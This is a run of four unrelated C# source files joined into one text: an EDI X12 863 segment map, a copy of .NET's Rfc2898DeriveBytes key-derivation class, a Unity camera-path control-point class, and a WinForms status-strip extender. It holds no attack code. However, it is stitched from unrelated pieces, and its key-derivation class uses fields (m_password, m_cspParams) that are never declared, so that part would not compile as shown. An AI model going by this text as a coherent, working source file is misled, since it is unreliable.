using EdiEngine.Common.Enums; using EdiEngine.Common.Definitions; using EdiEngine.Standards.X12_004010.Segments; namespace EdiEngine.Standards.X12_004010.Maps { public class M_863 : MapLoop { public M_863() : base(null) { Content.AddRange(new MapBaseEntity[] { new BTR() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new NTE() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new REF() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 12 }, new DTM() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 10 }, new PID() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 200 }, new PO4() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, new TMD() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, new MEA() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 20 }, new L_N1(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new L_LIN(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new CTT() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, }); } //1000 public class L_N1 : MapLoop { public L_N1(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new N1() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new N2() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 2 }, new N3() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 2 }, new N4() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, new REF() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 12 }, new L_PER(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, }); } } //1100 public class L_PER : MapLoop { public L_PER(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new PER() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new REF() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, }); } } //2000 public class L_LIN : MapLoop { public L_LIN(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new LIN() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new PID() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1000 }, new PO4() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, new TMD() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, new MEA() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 20 }, new PSD() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new SPS() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new QTY() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 10 }, new DTM() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 10 }, new REF() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1000 }, new NTE() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new L_N1_1(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 10 }, new L_CID(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, }); } } //2100 public class L_N1_1 : MapLoop { public L_N1_1(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new N1() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new N2() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 2 }, new N3() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 2 }, new N4() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, new REF() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 10 }, new PER() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 3 }, new QTY() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 10 }, }); } } //2200 public class L_CID : MapLoop { public L_CID(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new CID() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new UIT() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, new PSD() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new SPS() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new DTM() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 10 }, new REF() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 10 }, new NTE() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new L_MEA(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new L_STA(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new L_TMD(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 100 }, new L_TSP(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, }); } } //2210 public class L_MEA : MapLoop { public L_MEA(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new MEA() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new DTM() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 10 }, new REF() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 10 }, new L_LM(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, }); } } //2211 public class L_LM : MapLoop { public L_LM(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new LM() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new LQ() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, }); } } //2220 public class L_STA : MapLoop { public L_STA(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new STA() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new DTM() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 10 }, new REF() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 10 }, new L_LM_1(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, }); } } //2221 public class L_LM_1 : MapLoop { public L_LM_1(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new LM() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new LQ() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, }); } } //2230 public class L_TMD : MapLoop { public L_TMD(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new TMD() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new MEA() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new DTM() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 10 }, new REF() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 10 }, }); } } //2240 public class L_TSP : MapLoop { public L_TSP(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new TSP() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new MEA() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new DTM() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 10 }, new REF() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 10 }, new L_LM_2(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, }); } } //2241 public class L_LM_2 : MapLoop { public L_LM_2(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new LM() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new LQ() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, }); } } } }
// ==++== // // Copyright (c) Microsoft Corporation. All rights reserved. // // ==--== // <OWNER>[....]</OWNER> // // // Rfc2898DeriveBytes.cs // // This implementation follows RFC 2898 recommendations. See http://www.ietf.org/rfc/Rfc2898.txt // It uses HMACSHA1 as the underlying pseudorandom function. namespace System.Security.Cryptography { using System.Globalization; using System.IO; using System.Text; using System.Diagnostics.Contracts; [System.Runtime.InteropServices.ComVisible(true)] public class Rfc2898DeriveBytes : DeriveBytes { private byte[] m_buffer; private byte[] m_salt; private HMACSHA1 m_hmacsha1; // The pseudo-random generator function used in PBKDF2 private uint m_iterations; private uint m_block; private int m_startIndex; private int m_endIndex; private const int BlockSize = 20; // // public constructors // public Rfc2898DeriveBytes(string password, int saltSize) : this(password, saltSize, 1000) {} public Rfc2898DeriveBytes(string password, int saltSize, int iterations) { if (saltSize < 0) throw new ArgumentOutOfRangeException("saltSize", Environment.GetResourceString("ArgumentOutOfRange_NeedNonNegNum")); Contract.EndContractBlock(); byte[] salt = new byte[saltSize]; Utils.StaticRandomNumberGenerator.GetBytes(salt); Salt = salt; IterationCount = iterations; m_hmacsha1 = new HMACSHA1(new UTF8Encoding(false).GetBytes(password)); Initialize(); } public Rfc2898DeriveBytes(string password, byte[] salt) : this(password, salt, 1000) {} public Rfc2898DeriveBytes(string password, byte[] salt, int iterations) : this (new UTF8Encoding(false).GetBytes(password), salt, iterations) {} public Rfc2898DeriveBytes(byte[] password, byte[] salt, int iterations) { Salt = salt; IterationCount = iterations; m_hmacsha1 = new HMACSHA1(password); Initialize(); } // // public properties // public int IterationCount { get { return (int) m_iterations; } set { if (value <= 0) throw new ArgumentOutOfRangeException("value", Environment.GetResourceString("ArgumentOutOfRange_NeedPosNum")); Contract.EndContractBlock(); m_iterations = (uint) value; Initialize(); } } public byte[] Salt { get { return (byte[]) m_salt.Clone(); } set { if (value == null) throw new ArgumentNullException("value"); if (value.Length < 8) throw new ArgumentException(Environment.GetResourceString("Cryptography_PasswordDerivedBytes_FewBytesSalt")); Contract.EndContractBlock(); m_salt = (byte[]) value.Clone(); Initialize(); } } // // public methods // public override byte[] GetBytes(int cb) { if (cb <= 0) throw new ArgumentOutOfRangeException("cb", Environment.GetResourceString("ArgumentOutOfRange_NeedPosNum")); Contract.EndContractBlock(); byte[] password = new byte[cb]; int offset = 0; int size = m_endIndex - m_startIndex; if (size > 0) { if (cb >= size) { Buffer.InternalBlockCopy(m_buffer, m_startIndex, password, 0, size); m_startIndex = m_endIndex = 0; offset += size; } else { Buffer.InternalBlockCopy(m_buffer, m_startIndex, password, 0, cb); m_startIndex += cb; return password; } } Contract.Assert(m_startIndex == 0 && m_endIndex == 0, "Invalid start or end index in the internal buffer." ); while(offset < cb) { byte[] T_block = Func(); int remainder = cb - offset; if(remainder > BlockSize) { Buffer.InternalBlockCopy(T_block, 0, password, offset, BlockSize); offset += BlockSize; } else { Buffer.InternalBlockCopy(T_block, 0, password, offset, remainder); offset += remainder; Buffer.InternalBlockCopy(T_block, remainder, m_buffer, m_startIndex, BlockSize - remainder); m_endIndex += (BlockSize - remainder); return password; } } return password; } public override void Reset() { Initialize(); } protected override void Dispose(bool disposing) { base.Dispose(disposing); if (disposing) { if (m_hmacsha1 != null) { ((IDisposable)m_hmacsha1).Dispose(); } if (m_buffer != null) { Array.Clear(m_buffer, 0, m_buffer.Length); } if (m_salt != null) { Array.Clear(m_salt, 0, m_salt.Length); } } } private void Initialize() { if (m_buffer != null) Array.Clear(m_buffer, 0, m_buffer.Length); m_buffer = new byte[BlockSize]; m_block = 1; m_startIndex = m_endIndex = 0; } // This function is defined as follow : // Func (S, i) = HMAC(S || i) | HMAC2(S || i) | ... | HMAC(iterations) (S || i) // where i is the block number. private byte[] Func () { byte[] INT_block = Utils.Int(m_block); m_hmacsha1.TransformBlock(m_salt, 0, m_salt.Length, null, 0); m_hmacsha1.TransformBlock(INT_block, 0, INT_block.Length, null, 0); m_hmacsha1.TransformFinalBlock(EmptyArray<Byte>.Value, 0, 0); byte[] temp = m_hmacsha1.HashValue; m_hmacsha1.Initialize(); byte[] ret = temp; for (int i = 2; i <= m_iterations; i++) { m_hmacsha1.TransformBlock(temp, 0, temp.Length, null, 0); m_hmacsha1.TransformFinalBlock(EmptyArray<Byte>.Value, 0, 0); temp = m_hmacsha1.HashValue; for (int j = 0; j < BlockSize; j++) { ret[j] ^= temp[j]; } m_hmacsha1.Initialize(); } // increment the block count. m_block++; return ret; } #if !MONO [System.Security.SecuritySafeCritical] // auto-generated public byte[] CryptDeriveKey(string algname, string alghashname, int keySize, byte[] rgbIV) { if (keySize < 0) throw new CryptographicException(Environment.GetResourceString("Cryptography_InvalidKeySize")); int algidhash = X509Utils.NameOrOidToAlgId(alghashname, OidGroup.HashAlgorithm); if (algidhash == 0) throw new CryptographicException(Environment.GetResourceString("Cryptography_PasswordDerivedBytes_InvalidAlgorithm")); int algid = X509Utils.NameOrOidToAlgId(algname, OidGroup.AllGroups); if (algid == 0) throw new CryptographicException(Environment.GetResourceString("Cryptography_PasswordDerivedBytes_InvalidAlgorithm")); // Validate the rgbIV array if (rgbIV == null) throw new CryptographicException(Environment.GetResourceString("Cryptography_PasswordDerivedBytes_InvalidIV")); byte[] key = null; DeriveKey(ProvHandle, algid, algidhash, m_password, m_password.Length, keySize << 16, rgbIV, rgbIV.Length, JitHelpers.GetObjectHandleOnStack(ref key)); return key; } [System.Security.SecurityCritical] // auto-generated private SafeProvHandle _safeProvHandle = null; private SafeProvHandle ProvHandle { [System.Security.SecurityCritical] // auto-generated get { if (_safeProvHandle == null) { lock (this) { if (_safeProvHandle == null) { SafeProvHandle safeProvHandle = Utils.AcquireProvHandle(m_cspParams); System.Threading.Thread.MemoryBarrier(); _safeProvHandle = safeProvHandle; } } } return _safeProvHandle; } } [System.Security.SecurityCritical] // auto-generated [ResourceExposure(ResourceScope.None)] [DllImport(JitHelpers.QCall, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] private static extern void DeriveKey(SafeProvHandle hProv, int algid, int algidHash, byte[] password, int cbPassword, int dwFlags, byte[] IV, int cbIV, ObjectHandleOnStack retKey); #endif } }
// Camera Path 3 // Available on the Unity Asset Store // Copyright (c) 2013 Jasper Stocker http://support.jasperstocker.com/camera-path/ // For support contact [email protected] // // THIS CODE AND INFORMATION ARE PROVIDED "AS IS" WITHOUT WARRANTY OF ANY // KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE // IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A // PARTICULAR PURPOSE. using UnityEngine; #if UNITY_EDITOR using System.Text; using System.Xml; #endif [ExecuteInEditMode] public class CameraPathControlPoint : MonoBehaviour { public string givenName = ""; public string customName = ""; public string fullName = "";//used in debugging mostly, includes Path name [SerializeField] private Vector3 _position; //Bezier Control Points [SerializeField] private bool _splitControlPoints = false; [SerializeField] private Vector3 _forwardControlPoint; [SerializeField] private Vector3 _backwardControlPoint; //Internal stored calculations [SerializeField] private Vector3 _pathDirection = Vector3.forward; public int index = 0; public float percentage = 0; public float normalisedPercentage = 0; private void OnEnable() { hideFlags = HideFlags.HideInInspector; } public Vector3 localPosition { get { return transform.rotation * _position; } set { Vector3 newValue = value; newValue = Quaternion.Inverse(transform.rotation) * newValue; _position = newValue; } } public Vector3 worldPosition { get { return transform.rotation * _position + transform.position; } set { Vector3 newValue = value - transform.position; newValue = Quaternion.Inverse(transform.rotation) * newValue; _position = newValue; } } public Vector3 forwardControlPointWorld { set { forwardControlPoint = value - transform.position; } get { return forwardControlPoint + transform.position; } } public Vector3 forwardControlPoint { get { return transform.rotation * (_forwardControlPoint + _position); } set { Vector3 newValue = value; newValue = Quaternion.Inverse(transform.rotation) * newValue; newValue += -_position; _forwardControlPoint = newValue; } } public Vector3 forwardControlPointLocal { get { return transform.rotation * _forwardControlPoint; } set { Vector3 newValue = value; newValue = Quaternion.Inverse(transform.rotation) * newValue; _forwardControlPoint = newValue; } } public Vector3 backwardControlPointWorld { set { backwardControlPoint = value - transform.position; } get { return backwardControlPoint + transform.position; } } public Vector3 backwardControlPoint { get { Vector3 controlPoint = (_splitControlPoints) ? _backwardControlPoint : -_forwardControlPoint; return transform.rotation * (controlPoint + _position); } set { Vector3 newValue = value; newValue = Quaternion.Inverse(transform.rotation) * newValue; newValue += -_position; if (_splitControlPoints) _backwardControlPoint = newValue; else _forwardControlPoint = -newValue; } } public bool splitControlPoints { get { return _splitControlPoints; } set { if (value != _splitControlPoints) _backwardControlPoint = -_forwardControlPoint; _splitControlPoints = value; } } public Vector3 trackDirection { get { return _pathDirection; } set { if (value == Vector3.zero) return; _pathDirection = value.normalized; } } public string displayName { get { if (customName != "") return customName; return givenName; } } #if UNITY_EDITOR public string ToXML() { StringBuilder sb = new StringBuilder(); sb.AppendLine("<customName>"+customName+"</customName>"); sb.AppendLine("<index>"+index+"</index>"); sb.AppendLine("<percentage>"+percentage+"</percentage>"); sb.AppendLine("<normalisedPercentage>"+normalisedPercentage+"</normalisedPercentage>"); sb.AppendLine("<_positionX>"+_position.x+"</_positionX>"); sb.AppendLine("<_positionY>"+_position.y+"</_positionY>"); sb.AppendLine("<_positionZ>"+_position.z+"</_positionZ>"); sb.AppendLine("<_splitControlPoints>"+_splitControlPoints+"</_splitControlPoints>"); sb.AppendLine("<_forwardControlPointX>"+_forwardControlPoint.x+"</_forwardControlPointX>"); sb.AppendLine("<_forwardControlPointY>"+_forwardControlPoint.y+"</_forwardControlPointY>"); sb.AppendLine("<_forwardControlPointZ>"+_forwardControlPoint.z+"</_forwardControlPointZ>"); sb.AppendLine("<_backwardControlPointX>"+_backwardControlPoint.x+"</_backwardControlPointX>"); sb.AppendLine("<_backwardControlPointY>"+_backwardControlPoint.y+"</_backwardControlPointY>"); sb.AppendLine("<_backwardControlPointZ>"+_backwardControlPoint.z+"</_backwardControlPointZ>"); return sb.ToString(); } public void FromXML(XmlNode node) { if(node["customName"].HasChildNodes) customName = node["customName"].FirstChild.Value; index = int.Parse(node["index"].FirstChild.Value); percentage = float.Parse(node["percentage"].FirstChild.Value); normalisedPercentage = float.Parse(node["normalisedPercentage"].FirstChild.Value); _position.x = float.Parse(node["_positionX"].FirstChild.Value); _position.y = float.Parse(node["_positionY"].FirstChild.Value); _position.z = float.Parse(node["_positionZ"].FirstChild.Value); _splitControlPoints = bool.Parse(node["_splitControlPoints"].FirstChild.Value); _forwardControlPoint.x = float.Parse(node["_forwardControlPointX"].FirstChild.Value); _forwardControlPoint.y = float.Parse(node["_forwardControlPointY"].FirstChild.Value); _forwardControlPoint.z = float.Parse(node["_forwardControlPointZ"].FirstChild.Value); _backwardControlPoint.x = float.Parse(node["_backwardControlPointX"].FirstChild.Value); _backwardControlPoint.y = float.Parse(node["_backwardControlPointY"].FirstChild.Value); _backwardControlPoint.z = float.Parse(node["_backwardControlPointZ"].FirstChild.Value); } #endif public void CopyData(CameraPathControlPoint to) { to.customName = customName; to.index = index; to.percentage = percentage; to.normalisedPercentage = normalisedPercentage; to.worldPosition = worldPosition; to.splitControlPoints = _splitControlPoints; to.forwardControlPoint = _forwardControlPoint; to.backwardControlPoint = _backwardControlPoint; } }
using System; using System.Collections.Specialized; using System.ComponentModel; using System.Windows.Forms; namespace CslaContrib.Windows { /// <summary> /// Add link to StatusStrip with Status and Animation. /// <example> /// 1) Add a StatusStrip to the form and add 2 ToolStripStatusLabels. /// 2) Add the StatusStripExtender to the form. /// 3) Set statusStripExtender properties on StatusStrip /// StatusLabel to toolStripStatusLabel1 /// and AnimationLabel to toolStripStatusLabel2 /// 4) Set status text with /// statusStripExtender1.SetStatus /// statusStripExtender1.SetStatusStatic /// statusStripExtender1.SetStatusWaiting /// statusStripExtender1.SetStatusWithDuration /// </example> /// /// </summary> [ProvideProperty("StatusLabel", typeof(Control))] [ProvideProperty("AnimationLabel", typeof(Control))] public class StatusStripExtender : Component, IExtenderProvider { private ToolStripStatusLabel _status; private ToolStripStatusLabel _animation; private string _statusDefault = "Ready"; private readonly Timer _timer; private Timer _progressIndicatorTimer; private int _statusDefaultDuration = 5000; private readonly StringCollection _toolTipList; private int _maximumToolTipLines = 5; private object _syncRoot = new object(); #region --- Interface IExtenderProvider ---- public bool CanExtend(object extendee) { return extendee is StatusStrip; } #endregion #region --- Extender properties --- [Category("StatusStripExtender")] public ToolStripStatusLabel GetStatusLabel(Control control) { return StatusControl; } [Category("StatusStripExtender")] public void SetStatusLabel(Control control, ToolStripStatusLabel statusLabel) { StatusControl = statusLabel; } [Category("StatusStripExtender")] public ToolStripStatusLabel GetAnimationLabel(Control control) { return AnimationControl; } [Category("StatusStripExtender")] public void SetAnimationLabel(Control control, ToolStripStatusLabel animationLabel) { AnimationControl = animationLabel; } #endregion #region // --- Constructor --- /// <summary> /// Initializes a new instance of the <see cref="StatusStripExtender"/> class. /// </summary> public StatusStripExtender() { _timer = new Timer { Enabled = false, Interval = _statusDefaultDuration }; _timer.Tick += _timer_Tick; _toolTipList = new StringCollection(); } #endregion #region // --- Public properties --- /// <summary> /// Gets or sets the ToolStripStatusLabel for Status. /// </summary> /// <value>The status control.</value> [Category("ToolStrip"), Description("Gets or sets the ToolStripStatusLabel for Status.")] public ToolStripStatusLabel StatusControl { set { if (value == null && _status != null) { ReleaseStatus(); } else { if (_animation == value && value != null) { throw new ArgumentException("StatusControl and AnimationControl can't be the same control."); } _status = value; InitStatus(); } } get { return _status; } } /// <summary> /// Gets or sets the default Status. /// </summary> /// <value>The status default text.</value> [Category("StatusControl"), Description("Gets or sets the default Status.")] [Localizable(true)] [DefaultValue("Klar")] public string StatusDefault { set { _statusDefault = value; SetStatusToDefault(); } get { return _statusDefault; } } /// <summary> /// Gets or sets the maximum Tool Tip Lines to show (1-10, default 5). /// </summary> /// <value>The maximum number of Tool Tip Lines.</value> [Category("StatusControl"), Description("Maximum lines to show in the ToolTip text. Valid value is 1 to 10.")] [DefaultValue(5)] public int MaximumToolTipLines { set { _maximumToolTipLines = value; if (_maximumToolTipLines < 1) { _maximumToolTipLines = 1; } if (_maximumToolTipLines > 10) { _maximumToolTipLines = 10; } } get { return _maximumToolTipLines; } } private void SetStatusToolTip(string text) { if (!DesignMode) { _toolTipList.Insert(0, "(" + DateTime.Now.ToLongTimeString() + ") " + text); if (_toolTipList.Count > _maximumToolTipLines) { _toolTipList.RemoveAt(_maximumToolTipLines); } string[] toolTipArray = new string[_maximumToolTipLines]; _toolTipList.CopyTo(toolTipArray, 0); _status.ToolTipText = string.Join("\n", toolTipArray).TrimEnd(); } } /// <summary> /// Gets or sets the delay. /// </summary> /// <value>The delay.</value> [Category("StatusControl"), Description("Delay in milliseconds to show the Status")] [DefaultValue(5000)] public int Delay { set { _statusDefaultDuration = value; _timer.Interval = _statusDefaultDuration; } get { return _statusDefaultDuration; } } public void SetStatusToDefault() { UpdateStatusStrip(_statusDefault, false, false, -1); } #endregion #region --- Public funtions -- #region // --- Public Animation --- /// <summary> /// Gets or sets the Animation control. /// </summary> /// <value>The animation control.</value> [Category("ToolStrip"), Description("Gets or sets the Animation control.")] public ToolStripStatusLabel AnimationControl { set { if (value == null && _animation != null) { ReleaseAnimation(); } else { if (_status == value && value != null) { throw new ArgumentException("AnimationControl and StatusControl can't be the same control."); } _animation = value; InitAnimation(); } } get { return _animation; } } /// <summary> /// Gets or sets a value indicating whether the Animation control is visible]. /// </summary> /// <value><c>true</c> if the Animation control is visible; otherwise, <c>false</c>.</value> [Browsable(false)] [ReadOnly(true)] [DefaultValue(true)] public bool AnimationVisible { set { if (_animation != null) { _animation.Visible = value; } } get { if (_animation != null) { return _animation.Visible; } else { return true; } } } #endregion /// <summary> /// Sets the statu to defaultstatus and stop progress indicator from running. /// </summary> public void SetStatus() { SetStatus(_statusDefault); } /// <summary> /// Set status message and stops the progress indicator from running /// </summary> /// <param name="text">The text.</param> public void SetStatus(string text) { SetStatus(text, _statusDefaultDuration); } /// <summary> /// Set status message and stops the progress indicator from running /// </summary> /// <param name="text">The text.</param> /// <param name="durationMilliseconds">The duration milliseconds.</param> public void SetStatus(string text, int durationMilliseconds) { UpdateStatusStrip(text, false, false, durationMilliseconds); } /// <summary> /// Sets the Status and keep it until new text. /// </summary> public void SetStatusStatic() { SetStatusStatic(_statusDefault); } /// <summary> /// Sets the Status and keep it until new text. /// </summary> /// <param name="text">The text.</param> public void SetStatusStatic(string text) { UpdateStatusStrip(text, false, false, -1); } /// <summary> /// Sets the duration of the status with. /// </summary> /// <param name="text">The text.</param> /// <param name="duration">The duration.</param> public void SetStatusWithDuration(string text, int duration) { UpdateStatusStrip(text, false, false, duration); } /// <summary> /// Updates the status bar with the specified message. The message is reset after a few seconds. /// Progress indicator is NOT shown /// </summary> /// <param name="message">The message.</param> /// <param name="formatParams">Formatting parameters</param> public void SetStatusText(string message, params object[] formatParams) { var formattedMessage = string.Format(message, formatParams); UpdateStatusStrip(formattedMessage, false, false, _statusDefaultDuration); } /// <summary> /// Updates the status bar with the specified message. The message is not reset until "SetStatus()" is called /// Progress indicator IS shown /// Large IS shown /// </summary> /// <param name="message">The message.</param> /// <param name="formatParams">The format params.</param> public void SetStatusWaiting(string message, params object[] formatParams) { SetStatusWaiting(message, true, formatParams); } /// <summary> /// Updates the status bar with the specified message. The message is not reset until "SetStatus()" is called /// Progress indicator IS shown /// Large progress indicator is displayed depending on "displayLargeProgressIndicator" /// </summary> /// <param name="message">The message.</param> /// <param name="displayLargeProgressindicator">if set to <c>true</c> [display large progressindicator].</param> /// <param name="formatParams">Formatting parameters</param> public void SetStatusWaiting(string message, bool displayLargeProgressindicator, params object[] formatParams) { var formattedMessage = string.Format(message, formatParams); UpdateStatusStrip(formattedMessage, true, displayLargeProgressindicator, -1); } /// <summary> /// Updates the status strip. /// </summary> /// <param name="message">The message.</param> /// <param name="showProgressIndicator">if set to <c>true</c> [show progress indicator].</param> /// <param name="showLargeProgressIndicator">if set to <c>true</c> [show large progress indicator].</param> /// <param name="durationMilliseconds"></param> public void UpdateStatusStrip(string message, bool showProgressIndicator, bool showLargeProgressIndicator, int durationMilliseconds) { //if (this..InvokeRequired) //{ // ParentForm.Invoke(new StatusStripDelegate(UpdateStatusStrip), message, showProgressIndicator, showLargeProgressIndicator); //} lock (_syncRoot) { if (_progressIndicatorTimer != null) _progressIndicatorTimer.Stop(); SplashPanel.Close(); if (showProgressIndicator) { SetStatusTextStaticPrivate(message); if (showLargeProgressIndicator) { //If still waiting after 2 seconds, show a larger progressindicator _progressIndicatorTimer = new Timer { Interval = 2000 }; _progressIndicatorTimer.Tick += TimerShowBusyIndicator; _progressIndicatorTimer.Start(); } } else { if (string.IsNullOrEmpty(message)) SetStatusToDefaultPrivate(); else SetStatusTextPrivate(message, durationMilliseconds); } AnimationVisible = showProgressIndicator; } } #endregion #region Private Methods /// <summary> /// Sets the Status. /// </summary> /// <param name="text">The text.</param> private void SetStatusTextPrivate(string text) { SetStatusWithDurationPrivate(text, _statusDefaultDuration); } /// <summary> /// Sets the Status. /// </summary> /// <param name="text">The text.</param> /// <param name="durationMilliseconds">The duration milliseconds.</param> private void SetStatusTextPrivate(string text, int durationMilliseconds) { SetStatusWithDurationPrivate(text, durationMilliseconds); } /// <summary> /// Sets the Status and keep it until new text. /// </summary> /// <param name="text">The text.</param> private void SetStatusTextStaticPrivate(string text) { SetStatusWithDurationPrivate(text, -1); } /// <summary> /// Sets the Status with delay. /// </summary> /// <param name="text">The text.</param> /// <param name="durationMilliseconds">The duration in milliseconds.</param> private void SetStatusWithDurationPrivate(string text, int durationMilliseconds) { _status.Text = text; SetStatusToolTip(text); if (durationMilliseconds < 0) { _timer.Enabled = false; _timer.Interval = _statusDefaultDuration; } else { if (_timer.Enabled) { _timer.Enabled = false; _timer.Interval = durationMilliseconds; _timer.Enabled = true; } else { _timer.Enabled = true; } } } /// <summary> /// Sets the status to Default. /// </summary> private void SetStatusToDefaultPrivate() { if (_status != null) { if (_status.Text != _statusDefault || _toolTipList.Count == 0) { _status.Text = _statusDefault; SetStatusToolTip(_statusDefault); } } } /// <summary> /// Hides the temporary wait indicator. /// </summary> /// <param name="sender">The sender.</param> /// <param name="e">The <see cref="System.EventArgs"/> instance containing the event data.</param> private void HideTemporaryWaitIndicator(object sender, EventArgs e) { lock (_syncRoot) { var timer = sender as Timer; if (timer != null) timer.Stop(); SplashPanel.Close(); SetStatusToDefault(); AnimationVisible = false; } } /// <summary> /// Handles the Tick event of the _progressIndicatorTimer /// Displays a large progressindicator /// </summary> /// <param name="sender">The timer that triggered the event.</param> /// <param name="e">The <see cref="System.EventArgs"/> instance containing the event data.</param> private void TimerShowBusyIndicator(object sender, EventArgs e) { lock (_syncRoot) { var timer = sender as Timer; if (timer != null) timer.Stop(); SplashPanel.Show((AnimationControl).Owner.FindForm(), StatusControl.Text); } } #endregion #region // --- Private Status --- private void InitStatus() { if (_status != null) { SetStatusToDefault(); _status.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; _status.Spring = true; if (DesignMode) { _status.Owner.ShowItemToolTips = true; } } } void _timer_Tick(object sender, EventArgs e) { _timer.Enabled = false; SetStatusToDefault(); _timer.Interval = _statusDefaultDuration; } private void ReleaseStatus() { if (_status != null) { _status.Text = "# Not in use #"; _status.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; _status.Spring = false; _status = null; } } #endregion #region // --- Private Animation --- private void InitAnimation() { if (_animation != null) { _animation.DisplayStyle = ToolStripItemDisplayStyle.Image; _animation.ImageScaling = ToolStripItemImageScaling.None; _animation.Image = Properties.Resources.status_anim; if (!DesignMode) { _animation.Visible = false; } } } private void ReleaseAnimation() { if (_animation != null) { _animation.Image = null; _animation.DisplayStyle = ToolStripItemDisplayStyle.ImageAndText; _animation.ImageScaling = ToolStripItemImageScaling.SizeToFit; _animation.Text = "# Not in use #"; if (!DesignMode) { _animation.Visible = true; } _animation = null; } } #endregion } // public class StatusStripExtender }
